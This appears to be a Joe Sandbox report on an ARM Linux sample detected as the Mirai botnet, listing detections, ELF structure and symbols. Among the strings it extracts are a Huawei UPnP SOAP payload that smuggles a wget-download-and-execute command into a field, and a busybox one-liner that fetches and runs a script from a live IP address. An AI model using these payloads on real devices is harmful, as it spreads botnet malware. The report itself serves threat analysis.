Edit tour

Linux Analysis Report
vcimanagement.arm7.elf

Overview

General Information

Sample name:	vcimanagement.arm7.elf
Analysis ID:	1582271
MD5:	5d1a1b49599867dac0f36a6e5aacec4f
SHA1:	b1a06d639fa5096fb97f3b78920e562c37e874e3
SHA256:	b30be7ce7a47773e6d8ecd0ced684ad6f4e2eb6d1096091d137bb95f39111d12
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Contains symbols with names commonly found in malware

Sample and/or dropped files contains symbols with suspicious names

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Uses the "uname" system call to query kernel version information (possible evasion)

Yara detected Mirai

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582271
Start date and time:	2024-12-30 08:18:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	vcimanagement.arm7.elf
Detection:	MAL
Classification:	mal76.troj.linELF@0/0@2/0

Warnings

VT rate limit hit for: http://107.150.62.186/8UsA.sh;
VT rate limit hit for: http://107.150.62.186/bins/x86

Runtime Messages

Command:	/tmp/vcimanagement.arm7.elf
PID:	5404
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

vcimanagement.arm7.elf (PID: 5404, Parent: 5330, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/vcimanagement.arm7.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author
vcimanagement.arm7.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
vcimanagement.arm7.elf	JoeSecurity_Mirai_2	Yara detected Mirai	Joe Security
vcimanagement.arm7.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5404.1.00007f4424017000.00007f442402e000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: vcimanagement.arm7.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: vcimanagement.arm7.elf	Virustotal: Detection: 65%			Perma Link
Source: vcimanagement.arm7.elf	ReversingLabs: Detection: 68%

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: vcimanagement.arm7.elf	String found in binary or memory: http://107.150.62.186/8UsA.sh;
Source: vcimanagement.arm7.elf	String found in binary or memory: http://107.150.62.186/bins/x86
Source: vcimanagement.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: vcimanagement.arm7.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Contains symbols with names commonly found in malware

Source: ELF static info symbol of initial sample	Name: attack.c
Source: ELF static info symbol of initial sample	Name: attack_get_opt_int
Source: ELF static info symbol of initial sample	Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample	Name: attack_get_opt_str
Source: ELF static info symbol of initial sample	Name: attack_init
Source: ELF static info symbol of initial sample	Name: attack_method.c
Source: ELF static info symbol of initial sample	Name: attack_method_asyn
Source: ELF static info symbol of initial sample	Name: attack_method_greeth
Source: ELF static info symbol of initial sample	Name: attack_method_greip
Source: ELF static info symbol of initial sample	Name: attack_method_ovh

Source: vcimanagement.arm7.elf	ELF static info symbol of initial sample: __gnu_unwind_execute
Source: vcimanagement.arm7.elf	ELF static info symbol of initial sample: huawei_scanner_pid
Source: vcimanagement.arm7.elf	ELF static info symbol of initial sample: huawei_scanner_rawpkt

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://107.150.62.186/8UsA.sh; chmod +x 8UsA.sh; sh 8UsA.sh

Source: classification engine

Classification label: mal76.troj.linELF@0/0@2/0

Source: /tmp/vcimanagement.arm7.elf (PID: 5404)

Queries kernel information via 'uname':

Jump to behavior

Source: vcimanagement.arm7.elf, 5404.1.0000558c671b1000.0000558c672df000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: vcimanagement.arm7.elf, 5404.1.00007ffca0c00000.00007ffca0c21000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/vcimanagement.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/vcimanagement.arm7.elf
Source: vcimanagement.arm7.elf, 5404.1.0000558c671b1000.0000558c672df000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: vcimanagement.arm7.elf, 5404.1.00007ffca0c00000.00007ffca0c21000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: vcimanagement.arm7.elf, 5404.1.00007ffca0c00000.00007ffca0c21000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Source: Yara match	File source: vcimanagement.arm7.elf, type: SAMPLE
Source: Yara match	File source: 5404.1.00007f4424017000.00007f442402e000.r-x.sdmp, type: MEMORY

Source: Yara match	File source: vcimanagement.arm7.elf, type: SAMPLE
Source: Yara match	File source: 5404.1.00007f4424017000.00007f442402e000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vcimanagement.arm7.elf	65%	Virustotal		Browse
vcimanagement.arm7.elf	68%	ReversingLabs	Linux.Trojan.Mirai
vcimanagement.arm7.elf	100%	Avira	EXP/ELF.Mirai.Bootnet.o

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://107.150.62.186/bins/x86	vcimanagement.arm7.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	vcimanagement.arm7.elf	false	high
http://107.150.62.186/8UsA.sh;	vcimanagement.arm7.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	vcimanagement.arm7.elf	false	high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	botx.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	arm7.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	mpsl.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	rebirth.arm4t.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.24
	arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	debug.dbg.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	rebirth.mips.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.25
	rebirth.arm6.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.24
	rebirth.spc.elf	Get hash	malicious	Gafgyt	Browse	162.213.35.25

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, with debug_info, not stripped
Entropy (8bit):	5.999243976094707
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	vcimanagement.arm7.elf
File size:	146'283 bytes
MD5:	5d1a1b49599867dac0f36a6e5aacec4f
SHA1:	b1a06d639fa5096fb97f3b78920e562c37e874e3
SHA256:	b30be7ce7a47773e6d8ecd0ced684ad6f4e2eb6d1096091d137bb95f39111d12
SHA512:	6f2a2c3c076ed1afd7e039b1b847627e5ca36cac6c70b53026c290cd7028c856373815314f7947ff3fc1174b78bd08b4334761f8b80ad384b18745d732445573
SSDEEP:	3072:qJs9NARj5/Icu+NGtKfS6LL1gMv3kigvNO6bl7XgwxQK3eSLOfM/9JJLxh:qJs9NARj5/IctGtK66LFcO6bl7XNQ5Sh
TLSH:	5CE34C46EA818F13C4D5177ABAAF01893332A75493DB730699186FB43FC6B6E0E63605
File Content Preview:	.ELF..............(.........4...........4. ...(........p.h...........................................i...i...............i...i...i......h3...............i...i...i..................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	117136
Section Header Size:	40
Number of Section Headers:	29
Header String Table Index:	26

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x80f0	0xf0	0x15bac	0x0	0x6	AX	0	0	16
.fini	PROGBITS	0x1dc9c	0x15c9c	0x10	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x1dcac	0x15cac	0xbd4	0x0	0x2	A	0	0	4
.ARM.extab	PROGBITS	0x1e880	0x16880	0x18	0x0	0x2	A	0	0	4
.ARM.exidx	ARM_EXIDX	0x1e898	0x16898	0x118	0x0	0x82	AL	2	0	4
.eh_frame	PROGBITS	0x269b0	0x169b0	0x4	0x0	0x3	WA	0	0	4
.tbss	NOBITS	0x269b4	0x169b4	0x8	0x0	0x403	WAT	0	0	4
.init_array	INIT_ARRAY	0x269b4	0x169b4	0x4	0x0	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x269b8	0x169b8	0x4	0x0	0x3	WA	0	0	4
.jcr	PROGBITS	0x269bc	0x169bc	0x4	0x0	0x3	WA	0	0	4
.got	PROGBITS	0x269c0	0x169c0	0xa8	0x4	0x3	WA	0	0	4
.data	PROGBITS	0x26a68	0x16a68	0x200	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x26c68	0x16c68	0x30b0	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x16c68	0x93a	0x0	0x0		0	0	1
.debug_aranges	PROGBITS	0x0	0x175a8	0xc0	0x0	0x0		0	0	8
.debug_pubnames	PROGBITS	0x0	0x17668	0x213	0x0	0x0		0	0	1
.debug_info	PROGBITS	0x0	0x1787b	0x1d23	0x0	0x0		0	0	1
.debug_abbrev	PROGBITS	0x0	0x1959e	0x692	0x0	0x0		0	0	1
.debug_line	PROGBITS	0x0	0x19c30	0x9c7	0x0	0x0		0	0	1
.debug_frame	PROGBITS	0x0	0x1a5f8	0x2b8	0x0	0x0		0	0	4
.debug_str	PROGBITS	0x0	0x1a8b0	0x8ca	0x1	0x30	MS	0	0	1
.debug_loc	PROGBITS	0x0	0x1b17a	0x118f	0x0	0x0		0	0	1
.debug_ranges	PROGBITS	0x0	0x1c309	0x558	0x0	0x0		0	0	1
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x1c861	0x16	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x1c877	0x117	0x0	0x0		0	0	1
.symtab	SYMTAB	0x0	0x1ce18	0x48d0	0x10	0x0		28	669	4
.strtab	STRTAB	0x0	0x216e8	0x2483	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x16898	0x1e898	0x1e898	0x118	0x118	4.4505	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x169b0	0x169b0	6.0766	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x169b0	0x269b0	0x269b0	0x2b8	0x3368	3.8643	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x169b4	0x269b4	0x269b4	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Symbols

Name	Section Name	Value	Size	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
	.symtab	0x80d4	0	SECTION	<unknown>	DEFAULT	1
	.symtab	0x80f0	0	SECTION	<unknown>	DEFAULT	2
	.symtab	0x1dc9c	0	SECTION	<unknown>	DEFAULT	3
	.symtab	0x1dcac	0	SECTION	<unknown>	DEFAULT	4
	.symtab	0x1e880	0	SECTION	<unknown>	DEFAULT	5
	.symtab	0x1e898	0	SECTION	<unknown>	DEFAULT	6
	.symtab	0x269b0	0	SECTION	<unknown>	DEFAULT	7
	.symtab	0x269b4	0	SECTION	<unknown>	DEFAULT	8
	.symtab	0x269b4	0	SECTION	<unknown>	DEFAULT	9
	.symtab	0x269b8	0	SECTION	<unknown>	DEFAULT	10
	.symtab	0x269bc	0	SECTION	<unknown>	DEFAULT	11
	.symtab	0x269c0	0	SECTION	<unknown>	DEFAULT	12
	.symtab	0x26a68	0	SECTION	<unknown>	DEFAULT	13
	.symtab	0x26c68	0	SECTION	<unknown>	DEFAULT	14
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	15
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	16
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	17
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	18
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	19
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	20
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	21
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	22
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	23
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	24
	.symtab	0x0	0	SECTION	<unknown>	DEFAULT	25
$a	.symtab	0x80d4	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1dc9c	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80e0	0	NOTYPE	<unknown>	DEFAULT	1
$a	.symtab	0x1dca8	0	NOTYPE	<unknown>	DEFAULT	3
$a	.symtab	0x80f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8134	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8194	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x81d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x822c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8328	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8544	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x85b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8620	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x8b3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x91e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9894	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x9f40	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xa5ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xac98	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb344	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xb830	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xbf28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc544	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xc7e4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xca84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd118	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xd550	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdbb8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xdc0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xe3c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xeb74	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xebc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xec68	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xec90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xed64	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf848	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xf870	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0xfe04	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10398	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x103b0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x103f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x104e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10cc8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10d8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10e5c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10f38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x10f60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11028	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11188	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x11c24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x121c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x128d4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x128f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12998	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12a38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12ed8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12f00	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x12fd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13acc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13af4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13b3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13b60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13b84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13bf0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13d2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13d88	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13e1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13eac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x13f2c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14028	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14050	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14124	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14bc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14cd8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14cec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14d84	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e78	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14e8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14f6c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14fa4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x14fe8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15028	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1506c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x150f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15130	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x151bc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x151ec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1522c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1533c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1540c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x154d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15580	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15668	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15688	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x156c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x156d0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x156e0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15780	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x157a4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x157cc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15810	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15884	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x158c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1590c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15980	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x159c4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15a0c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15a50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15ac0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15b08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15b90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15bd4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15c44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15c90	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15d18	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15d60	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15da4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15df4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15e08	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15ecc	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x15f38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x168e8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16a28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x16de8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17288	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x172c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x173f0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17408	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x174ac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17564	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17624	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x176c8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17758	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17830	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17928	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17a14	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17a34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17a50	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17c28	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17cec	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x17e38	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1845c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18828	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x188c0	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18908	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x189f8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18b34	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18b8c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18b94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18bc4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18c1c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18c24	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18c54	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18cac	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18cb4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18ce4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18d3c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18d44	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18d70	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18df8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18ed4	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18f94	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x18fe8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x19040	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x1942c	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x194a8	0	NOTYPE	<unknown>	DEFAULT	2
$a	.symtab	0x194d4	0	NOTYPE	<unknown>	DEFAULT	2
